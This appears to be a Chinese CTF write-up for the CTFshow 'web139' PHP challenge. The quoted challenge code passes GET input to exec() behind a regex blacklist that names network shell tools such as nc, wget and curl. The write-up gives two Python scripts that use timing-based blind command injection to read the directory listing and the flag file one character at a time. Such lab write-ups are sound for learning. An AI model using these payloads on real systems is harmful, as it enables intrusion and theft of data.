CTFshow-WEB入门-php特性web139
题目代码
<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); }
要进行命令盲注
前置知识:
ls / -1,结果自动换行
ls / -1 | awk "NR==1",取第一行
ls / -1 | awk "NR==1" | cut -c 1,取第一行第一个字符
`命令`,返回命令的结果
if [ `ls / -1 | awk "NR==1" | cut -c 1` == "b" ];then sleep 5;fi,如果ls第一个字符为b则延迟5秒(一些位置空格必须有)
解题:
使用Python脚本跑 ls / -1 结果
import requests url = 'http://8f3e495d-2606-497c-8cc8-e553540b977e.challenge.ctf.show/?c=' payload = '''if [ `ls / -1 | awk "NR=={}" | cut -c {}` == "{}" ];then sleep 5;fi''' max_NR = 5 # 假设最多4行 max_c = 13 # 假设一行最多12个字符(f149_15_h3r3) chars = 'abcdefghijklmnopqrstuvwxyz0123456789_-.' # 可能出现的字符 for NR in range(1, max_NR): # 从第一行开始 for c in range(1, max_c): # 从第一个字符开始 for char in chars: try: requests.get(url+payload.format(NR, c, char), timeout = 3) # 自动URL编码 except: print(char, end = '') # 出现延迟输出字符 break print()
使用Python脚本跑 cat /f149_15_h3r3 结果(稍微改了一点)
import requests url = 'http://8f3e495d-2606-497c-8cc8-e553540b977e.challenge.ctf.show/?c=' payload = '''if [ `cat /f149_15_h3r3 | awk "NR=={}" | cut -c {}` == "{}" ];then sleep 5;fi''' max_NR = 2 # 假设最多1行 max_c = 50 # 假设一行最多49个字符 chars = 'ctfshow{0123456789abcdefg-}' # 可能出现的字符 for NR in range(1, max_NR): # 从第一行开始 for c in range(1, max_c): # 从第一个字符开始 for char in chars: try: requests.get(url+payload.format(NR, c, char), timeout = 3) # 自动URL编码 except: print(char, end = '') # 出现延迟输出字符 break print()